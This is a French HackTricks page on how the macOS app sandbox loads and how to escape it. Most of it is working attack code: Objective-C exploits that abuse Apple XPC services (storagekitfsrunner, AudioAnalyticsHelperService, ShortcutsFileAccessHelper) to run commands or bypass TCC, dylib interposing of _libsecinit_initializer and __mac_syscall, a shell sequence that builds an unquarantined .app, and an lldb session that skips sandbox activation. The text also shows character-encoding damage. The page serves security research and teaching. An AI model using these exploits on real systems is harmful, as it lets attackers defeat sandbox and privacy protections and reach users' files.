macOS Sandbox Debug & Bypass
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Processus de chargement du Sandbox
.png)
Image provenant de http://newosxbook.com/files/HITSB.pdf
Dans lâimage prĂ©cĂ©dente, il est possible dâobserver comment le sandbox sera chargĂ© lorsquâune application avec le droit com.apple.security.app-sandbox est exĂ©cutĂ©e.
Le compilateur liera /usr/lib/libSystem.B.dylib au binaire.
Ensuite, libSystem.B appellera plusieurs autres fonctions jusquâĂ ce que xpc_pipe_routine envoie les droits de lâapplication Ă securityd. Securityd vĂ©rifie si le processus doit ĂȘtre mis en quarantaine Ă lâintĂ©rieur du Sandbox, et si câest le cas, il sera mis en quarantaine.
Enfin, le sandbox sera activé par un appel à __sandbox_ms qui appellera __mac_syscall.
Bypasses possibles
Contournement de lâattribut de quarantaine
Les fichiers créés par des processus sandboxĂ©s se voient ajouter lâattribut de quarantaine pour empĂȘcher les Ă©chappements du sandbox. Cependant, si vous parvenez Ă crĂ©er un dossier .app sans lâattribut de quarantaine au sein dâune application sandboxĂ©e, vous pourriez faire pointer le binaire du bundle de lâapplication vers /bin/bash et ajouter certaines variables dâenvironnement dans le plist pour abuser de open afin de lancer la nouvelle application sans sandbox.
Câest ce qui a Ă©tĂ© fait dans CVE-2023-32364.
Caution
Par consĂ©quent, pour le moment, si vous ĂȘtes simplement capable de crĂ©er un dossier avec un nom se terminant par
.appsans un attribut de quarantaine, vous pouvez Ă©chapper au sandbox car macOS ne vĂ©rifie que lâattribut de quarantaine dans le dossier.appet dans le binaire principal (et nous ferons pointer le binaire principal vers/bin/bash).Notez que si un bundle .app a dĂ©jĂ Ă©tĂ© autorisĂ© Ă sâexĂ©cuter (il a un attribut de quarantaine avec le drapeau autorisĂ© Ă sâexĂ©cuter), vous pourriez Ă©galement en abuser⊠sauf que maintenant vous ne pouvez pas Ă©crire Ă lâintĂ©rieur des bundles
.appĂ moins dâavoir certains privilĂšges TCC (que vous nâaurez pas Ă lâintĂ©rieur dâun sandbox Ă©levĂ©).
Abus de la fonctionnalité Open
Dans les derniers exemples de contournement du sandbox Word, on peut apprĂ©cier comment la fonctionnalitĂ© cli open pourrait ĂȘtre abusĂ©e pour contourner le sandbox.
Agents/Démons de lancement
MĂȘme si une application est destinĂ©e Ă ĂȘtre sandboxĂ©e (com.apple.security.app-sandbox), il est possible de contourner le sandbox si elle est exĂ©cutĂ©e Ă partir dâun LaunchAgent (~/Library/LaunchAgents) par exemple.
Comme expliquĂ© dans ce post, si vous souhaitez obtenir une persistance avec une application qui est sandboxĂ©e, vous pourriez la faire exĂ©cuter automatiquement en tant que LaunchAgent et peut-ĂȘtre injecter du code malveillant via des variables dâenvironnement DyLib.
Abus des emplacements de démarrage automatique
Si un processus sandboxĂ© peut Ă©crire Ă un endroit oĂč plus tard une application non sandboxĂ©e va exĂ©cuter le binaire, il pourra sâĂ©chapper simplement en plaçant le binaire lĂ . Un bon exemple de ce type dâemplacements est ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.
Pour cela, vous pourriez mĂȘme avoir besoin de 2 Ă©tapes : Faire exĂ©cuter votre code par un processus avec un sandbox plus permissif (file-read*, file-write*) qui Ă©crira rĂ©ellement Ă un endroit oĂč il sera exĂ©cutĂ© sans sandbox.
Consultez cette page sur les emplacements de démarrage automatique :
Abus dâautres processus
Si Ă partir de ce processus sandboxĂ© vous parvenez Ă compromettre dâautres processus sâexĂ©cutant dans des sandboxes moins restrictives (ou aucune), vous pourrez Ă©chapper Ă leurs sandboxes :
Services Mach systĂšme et utilisateur disponibles
Le sandbox permet Ă©galement de communiquer avec certains services Mach via XPC dĂ©finis dans le profil application.sb. Si vous parvenez Ă abuser de lâun de ces services, vous pourriez ĂȘtre en mesure de sâĂ©chapper du sandbox.
Comme indiqué dans ce rapport, les informations sur les services Mach sont stockées dans /System/Library/xpc/launchd.plist. Il est possible de trouver tous les services Mach systÚme et utilisateur en recherchant dans ce fichier <string>System</string> et <string>User</string>.
De plus, il est possible de vérifier si un service Mach est disponible pour une application sandboxée en appelant bootstrap_look_up:
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
Services Mach PID disponibles
Ces services Mach ont dâabord Ă©tĂ© abusĂ©s pour sâĂ©chapper du sandbox dans cet article. Ă ce moment-lĂ , tous les services XPC requis par une application et son framework Ă©taient visibles dans le domaine PID de lâapplication (ce sont des services Mach avec ServiceType comme Application).
Pour contacter un service XPC de domaine PID, il suffit de lâenregistrer Ă lâintĂ©rieur de lâapplication avec une ligne telle que :
[[NSBundle bundleWithPath:@â/System/Library/PrivateFrameworks/ShoveService.framework"]load];
De plus, il est possible de trouver tous les services Mach Application en recherchant dans System/Library/xpc/launchd.plist pour <string>Application</string>.
Une autre façon de trouver des services xpc valides est de vérifier ceux dans :
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
Plusieurs exemples abusant de cette technique peuvent ĂȘtre trouvĂ©s dans le document original, cependant, voici quelques exemples rĂ©sumĂ©s.
/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Ce service permet chaque connexion XPC en retournant toujours YES et la méthode runTask:arguments:withReply: exécute une commande arbitraire avec des paramÚtres arbitraires.
Lâexploit Ă©tait âaussi simple queâ :
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Ce service XPC permettait Ă chaque client de toujours retourner OUI et la mĂ©thode createZipAtPath:hourThreshold:withReply: permettait essentiellement dâindiquer le chemin vers un dossier Ă compresser et il le compressera dans un fichier ZIP.
Par consĂ©quent, il est possible de gĂ©nĂ©rer une structure de dossier dâapplication factice, de la compresser, puis de la dĂ©compresser et de lâexĂ©cuter pour Ă©chapper au sandbox car les nouveaux fichiers nâauront pas lâattribut de quarantaine.
Lâexploit Ă©tait :
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Ce service XPC permet de donner un accĂšs en lecture et en Ă©criture Ă une URL arbitraire au client XPC via la mĂ©thode extendAccessToURL:completion: qui accepte nâimporte quelle connexion. Comme le service XPC a FDA, il est possible dâabuser de ces permissions pour contourner complĂštement TCC.
Lâexploit Ă©tait :
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
Compilation statique et liaison dynamique
Cette recherche a dĂ©couvert 2 façons de contourner le Sandbox. Parce que le sandbox est appliquĂ© depuis lâespace utilisateur lorsque la bibliothĂšque libSystem est chargĂ©e. Si un binaire pouvait Ă©viter de la charger, il ne serait jamais soumis au sandbox :
- Si le binaire était complÚtement compilé statiquement, il pourrait éviter de charger cette bibliothÚque.
- Si le binaire nâavait pas besoin de charger de bibliothĂšques (car le linker est Ă©galement dans libSystem), il nâaurait pas besoin de charger libSystem.
Shellcodes
Notez que mĂȘme les shellcodes en ARM64 doivent ĂȘtre liĂ©s dans libSystem.dylib :
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
Restrictions non héritées
Comme expliqué dans le bonus de cet article, une restriction de sandbox comme :
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
peut ĂȘtre contournĂ© par un nouveau processus sâexĂ©cutant par exemple :
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
Cependant, bien sĂ»r, ce nouveau processus nâhĂ©ritera pas des droits ou des privilĂšges du processus parent.
Droits
Notez que mĂȘme si certaines actions peuvent ĂȘtre autorisĂ©es par le sandbox si une application a un droit spĂ©cifique, comme dans :
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Interposting Bypass
Pour plus dâinformations sur Interposting, consultez :
Interpost _libsecinit_initializer pour empĂȘcher le sandbox
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Interposer __mac_syscall pour empĂȘcher le Sandbox
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Déboguer et contourner le Sandbox avec lldb
Commençons par compiler une application qui devrait ĂȘtre sandboxĂ©e :
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
Ensuite, compilez lâapplication :
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
Caution
Lâapplication va essayer de lire le fichier
~/Desktop/del.txt, ce que le Sandbox ne permettra pas.
Créez un fichier là -dedans car une fois le Sandbox contourné, il pourra le lire :echo "Sandbox Bypassed" > ~/Desktop/del.txt
DĂ©boguons lâapplication pour voir quand le Sandbox est chargĂ© :
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
[!WARNING] > MĂȘme avec le Sandbox contournĂ©, TCC demandera Ă lâutilisateur sâil souhaite autoriser le processus Ă lire des fichiers sur le bureau
Références
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


